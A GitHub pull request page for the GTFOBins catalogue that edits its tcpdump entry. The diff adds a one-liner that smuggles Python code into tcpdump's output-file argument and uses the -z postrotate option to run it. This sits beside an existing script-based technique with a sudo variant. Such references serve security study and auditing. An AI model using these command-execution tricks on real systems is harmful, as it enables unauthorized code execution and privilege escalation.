Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Update tcpdump #455

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open

Update tcpdump #455

Changes from all commits
Commits
Show all changes
1 commit
Select commit
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 5 additions & 1 deletion _gtfobins/tcpdump.md
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -5,12 +5,16 @@ description: |
In recent distributions (e.g., Debian 10 and Ubuntu 18) AppArmor limits the `postrotate-command` to a small subset of predefined commands thus preventing the execution of the following.
functions:
command:
- code: |
- description: This requires several commands.
code: |
COMMAND='id'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF
- descprition: One-liner to run arbitrary command leveraging python argument parser that does not require a space between the option -c and the value.
code: |
tcpdump -ln -i lo -w -c__import__\(\"os\"\).system\(\"id\"\) -W 1 -G 1 -z /usr/bin/python
sudo:
- code: |
COMMAND='id'
Expand Down